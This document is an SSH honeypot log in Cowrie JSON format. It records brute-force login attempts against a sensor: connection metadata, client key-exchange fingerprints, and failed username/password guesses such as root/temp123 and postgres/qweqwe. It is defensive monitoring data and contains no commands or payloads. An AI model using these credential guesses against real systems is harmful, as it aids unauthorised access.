{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:02.062191Z","src_ip":"119.195.89.96","session":"c324e516ef50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123qwe","message":"login attempt [test1/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:02.864249Z","src_ip":"119.195.89.96","session":"c324e516ef50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:04.068498Z","src_ip":"119.195.89.96","session":"c324e516ef50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":57514,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40192254d13","protocol":"ssh","message":"New connection: 124.13.124.212:57514 (159.203.135.109:22) [session: d40192254d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:17.471976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:17.477589Z","src_ip":"124.13.124.212","session":"d40192254d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:17.729535Z","src_ip":"124.13.124.212","session":"d40192254d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tech","password":"test","message":"login attempt [tech/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:18.753060Z","src_ip":"124.13.124.212","session":"d40192254d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:20.011585Z","src_ip":"124.13.124.212","session":"d40192254d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39688,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d369141ca68","protocol":"ssh","message":"New connection: 159.203.92.129:39688 (159.203.135.109:22) [session: 1d369141ca68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:39.903646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:39.908537Z","src_ip":"159.203.92.129","session":"1d369141ca68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:39.912537Z","src_ip":"159.203.92.129","session":"1d369141ca68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"Abc@123","message":"login attempt [alias/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:39.923437Z","src_ip":"159.203.92.129","session":"1d369141ca68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:40.929703Z","src_ip":"159.203.92.129","session":"1d369141ca68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":49696,"dst_ip":"10.17.0.5","dst_port":22,"session":"b585b8028fa5","protocol":"ssh","message":"New connection: 171.244.143.209:49696 (10.17.0.5:22) [session: b585b8028fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:56.115074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:56.120484Z","src_ip":"171.244.143.209","session":"b585b8028fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:56.370574Z","src_ip":"171.244.143.209","session":"b585b8028fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temp123","message":"login attempt [root/temp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:57.388186Z","src_ip":"171.244.143.209","session":"b585b8028fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:15:58.635839Z","src_ip":"171.244.143.209","session":"b585b8028fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":28180,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8234166a249","protocol":"ssh","message":"New connection: 119.195.89.96:28180 (159.203.135.109:22) [session: d8234166a249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:01.476896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:01.482358Z","src_ip":"119.195.89.96","session":"d8234166a249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:01.679846Z","src_ip":"119.195.89.96","session":"d8234166a249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qweqwe","message":"login attempt [postgres/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:02.497625Z","src_ip":"119.195.89.96","session":"d8234166a249","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:03.698367Z","src_ip":"119.195.89.96","session":"d8234166a249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":46798,"dst_ip":"159.203.135.109","dst_port":22,"session":"c974a8f00571","protocol":"ssh","message":"New connection: 124.13.124.212:46798 (159.203.135.109:22) [session: c974a8f00571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:15.232844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:15.238307Z","src_ip":"124.13.124.212","session":"c974a8f00571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:15.481090Z","src_ip":"124.13.124.212","session":"c974a8f00571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2022","message":"login attempt [git/git@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:16.488659Z","src_ip":"124.13.124.212","session":"c974a8f00571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:17.733217Z","src_ip":"124.13.124.212","session":"c974a8f00571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45732,"dst_ip":"159.203.135.109","dst_port":22,"session":"303f71fa189c","protocol":"ssh","message":"New connection: 159.203.92.129:45732 (159.203.135.109:22) [session: 303f71fa189c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:25.292963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:25.297607Z","src_ip":"159.203.92.129","session":"303f71fa189c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:25.304616Z","src_ip":"159.203.92.129","session":"303f71fa189c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"Ad123456","message":"login attempt [alias/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:25.321213Z","src_ip":"159.203.92.129","session":"303f71fa189c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:16:26.327080Z","src_ip":"159.203.92.129","session":"303f71fa189c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":33791,"dst_ip":"159.203.135.109","dst_port":22,"session":"bae0d42e0441","protocol":"ssh","message":"New connection: 119.195.89.96:33791 (159.203.135.109:22) [session: bae0d42e0441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:00.091326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:00.096358Z","src_ip":"119.195.89.96","session":"bae0d42e0441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:00.289546Z","src_ip":"119.195.89.96","session":"bae0d42e0441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"000000","message":"login attempt [ftpuser/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:01.093203Z","src_ip":"119.195.89.96","session":"bae0d42e0441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:02.287589Z","src_ip":"119.195.89.96","session":"bae0d42e0441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":36416,"dst_ip":"10.17.0.5","dst_port":22,"session":"e433d19d35ac","protocol":"ssh","message":"New connection: 171.244.143.209:36416 (10.17.0.5:22) [session: e433d19d35ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:02.651857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:17:02.662289Z","src_ip":"171.244.143.209","session":"e433d19d35ac","protocol":"ssh"}
